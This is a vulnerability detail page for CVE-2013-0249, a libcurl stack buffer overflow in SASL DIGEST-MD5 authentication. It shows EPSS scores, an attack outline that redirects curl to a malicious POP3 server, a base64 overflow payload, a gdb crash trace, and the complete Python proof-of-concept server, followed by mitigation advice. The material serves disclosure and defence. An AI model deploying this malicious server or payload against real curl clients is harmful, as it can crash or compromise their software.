CVE-2013-0249 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	36.8%	–	–
2022-04-03	–	–	36.8%	–	–
2023-02-19	–	–	35.49%	–	–
2023-03-12	–	–	–	92.32%	–
2023-06-25	–	–	–	92.32%	–
2024-06-02	–	–	–	92.32%	–
2024-12-22	–	–	–	89.77%	–
2025-01-19	–	–	–	89.77%	–
2025-03-18	–	–	–	–	53.7%
2025-03-18	–	–	–	–	53.7,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	97%
2022-04-03	98%
2023-02-19	98%
2023-03-12	98%
2023-06-25	99%
2024-06-02	99%
2024-12-22	99%
2025-01-19	99%
2025-03-18	98%
2025-03-18	98%

cURL buffer overflow Wed 06 February 2013 Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack. Vendor notified, CVE-2013-0249 relased. Attack Concept Outline We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/ GET / HTTP/1.0 Host: evilserver.com server answers with HTTP/1.0 302 Found Location: pop3://x:x@evilserver.com/. "smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers +OK POP3 server ready curl sends CAPA servers answers with DIGEST-MD5 only +OK List of capabilities follows SASL DIGEST-MD5 IMPLEMENTATION dumbydumb POP3 server so, libcurl has to send AUTH DIGEST-MD5 then server sends the payload + cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg= and overflow happens because of fixed realm buffer size realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8 how it looks in gdb Program received signal SIGSEGV, Segmentation fault. 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6 (gdb) bt #0 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6 #1 0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message () from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4 #2 0x4141414141414141 in ?? () ... #1469 0x4141414141414141 in ?? () #1470 0x656d616e72657375 in ?? () Cannot access memory at address 0x7fff63b8b000 Original exploit: pop3d.py. #!/usr/bin/env python # -*- coding: utf-8 -*- # curl pop3 CVE-2013-0249 by Volema/MSLC import socket import base64 host = "localhost" port = 110 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((host, port)) s.listen(5) sock, addr = s.accept() sock.send('+OK POP3 server ready\n') while True: buf = sock.recv(1024) print buf if buf.find('USER') > -1: sock.send('+OK\n') if buf.find('PASS') > -1: sock.send('-ERR 999\n') if buf.find('CAPA') > -1: resp = '+OK List of capabilities follows\n' resp += 'SASL DIGEST-MD5\n' resp += 'IMPLEMENTATION dumbydumb POP3 server\n' resp += '.\n' sock.send(resp) if buf.find('QUIT') > -1: sock.send('+OK') break if buf.find('AUTH') > -1: realm = 'A'*128 payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm resp = '+ '+base64.b64encode(payload)+'\n' print resp sock.send(resp) sock.close() Mitigation We recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS. libcurl version should be updated.